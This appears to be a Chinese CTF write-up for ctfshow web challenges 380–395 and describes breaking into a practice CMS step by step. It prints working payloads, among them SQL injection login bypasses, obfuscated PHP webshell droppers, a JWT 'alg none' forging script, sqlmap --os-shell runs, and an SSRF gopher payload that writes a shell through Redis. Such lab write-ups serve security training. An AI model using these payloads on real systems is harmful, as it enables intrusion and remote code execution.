380
扫描一个目录,发现page.php ,打开发现提示缺少id参数,且id参数控制php文件的打开,直接/page.php?id=flag 即可
381
在首页源码中有可疑的路径,一层层打开看就发现flag了
382、383
两题依旧是访问后台:/alsckdfy/ ,弹出一个登陆界面,在账号处有SQL注入,admin'||1# 即可登入
最后还是弱密码爆破一下,账密是admin:admin888
384
根据题目的描述就知道的要爆破了,按照要求写好生成字典的脚本,但还有六万多的数据,实在是有点大,直接看师傅的爆破结果了,密码是xy123
import string
a='0123456789'
b=string.ascii_lowercase
for w in b:
for e in b:
for i in a:
for j in a:
for k in a:
print(w+e+i+j+k)
385
算是一个重装漏洞吧,install 目录没有被403,按照提示访问/install/?install 即可重置管理员密码,账密:admin:admin888
386
这题居然有个clear.php ,自己字典没扫出来… 当然这个clear.php出处是/layui/css/tree.css ,要我肯定不会尝试访问这个地址… 单纯访问clear.php似乎并不会删除文件,需要加点参数,比如file ,?file=./install/lock.dat 就成功删除lock.dat 。。秒啊。。最后去访问后台用默认密码登录即可
387
访问robots.txt 访问/debug/ 提示file not exist,经过前几题的经验,试试加上?file 参数,然后没想到是文件读取 尝试包含日志文件然后写webshell,但是参数一直传不进去,再试试system('sleep 5') 确定能够执行命令 那么传不了参数就在system中写文件:最后的flag是在check.php中
<?php system('cat /var/www/html/alsckdfy/check.php>/var/www/html/1.txt');?>
还有一种方法就RCE删除lock.dat 进行重装
<?php unlink('/var/www/html/install/lock.dat');?>
388
此处有个编辑器:/alsckdfy/editor/ ,kindEditor编辑4.1.11是存在上传过滤不严的漏洞的 可允许上传一些危险后缀如doc、html、txt、zip等等 我们上传一个文件然后在/debug/?file= 处包含一下即可
<?php
$a='metsys';
strrev($a)('echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > /var/www/html/1.php');
访问后/debug/?file=/var/www/html/alsckdfy/attached/file/20210813/20210813152904_72474.txt 就会生成webshell了
389
继续访问/debug/ 提示权限不足,看看cookie信息发现是引入了JWT
将算法改成none的JWT脚本
import jwt
token_dict = {
"iss": "admin",
"iat": 1628869261,
"exp": 1628876461,
"nbf": 1628869261,
"sub": "admin",
"jti": "cbcea3355b64ed215da14373ad82e234"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict,
key='',
headers=headers,
algorithm="none",
).decode('ascii')
print(jwt_token)
运行脚本得到的结果放在cookie中按照上一题的做法继续做即可
390
还是可以包含日志文件,其中UA头写unlink() 函数删除lock.dat,这是前几题的做法 但是这题的意图是SQL注入,在页面中有id参数,测试了一下是有SQL注入的,直接SQLMAP跑
python sqlmap.py -u "http://96105d8a-0108-4216-b454-80b8aebf9d52.challenge.ctf.show:8080/page.php?id=2" --os-shell
391、392
在搜索处存在联合注入与延时注入
/search.php?title=-1' union select 1,2,3#
还是直接SQLMAP跑就行
python sqlmap.py -u "http://591cdf38-0c2b-4e64-bf4c-de106f770c90.challenge.ctf.show:8080/search.php?title=a" --os-shell
393
这题感觉思路很重要,考点是SSRF。 首先是继续SQLMAP跑search.php的注入点,跑不出os-shell 和--file-read 的,只得简单看看ctfshow数据库下有什么表,其中有个link表,表中有url的字段,有点奇怪 回到浏览器中划到最下面多了个搜索引擎 点击百度发现是在当前页面中加载了百度的首页,尝试搜索但并不会跳转正常的百度搜索结果出来,那么可以猜测这个是从数据库中调用出来的,刚刚的link表的url控制了内容的读取,刚好也能对应这里了。 既然如此我们可以试试SSRF读取本地的flag,利用file:///flag 来读取,但需要将它存到数据库中。
注入点同时还是堆叠注入,那么直接更新ulr的值为file:///flag ,然后再点击一个搜索引擎即可
/search.php?title=a';update link set url='file:///flag' where id != 0;#
394、395
方法一: 继续使用update 但报错error ,怀疑是ban了某些字符,那么对file:///flag 进行16进制
/search.php?title=a';update link set url=0x66696c653a2f2f2f666c6167 where id != 0;#
flag not here,再试试去/alsckdfy/check.php :
/search.php?title=a';update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870 where id != 0;#
黑名单是:
if(preg_match('/file|check|php/i', $id)){
die('error');
}
方法二:
看羽师傅的操作,还能攻击Redis,仔细想想也是,毕竟是SSRF,然后也是数据库相关的,如果有Redis服务那么也是一种攻击方式
这里一开始去用gopherus生成的payload去打一直不成功,最后看了羽师傅的操作还有更改字段类型的操作。确实,因为这个id字段是int类型的,接收不了这么多数据。下面的语句更改link表的url字段为text类型,学到了
/search.php?title=a';ALTER table link MODIFY COLUMN url text;#
最后打这个payload就会生成shell.php了: /search.php?title=a';update link set url=0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c25304425304125324133253044253041253234332530442530417365742530442530412532343125304425304131253044253041253234333425304425304125304125304125334325334670687025323073797374656d2532382532345f474554253542253237636d642532372535442532392533422532302533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431392530442530412f7661722f7777772f68746d6c2f312e7068702530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234392530442530417368656c6c2e706870253044253041253241312530442530412532343425304425304173617665253044253041253041 where id != 0;#
|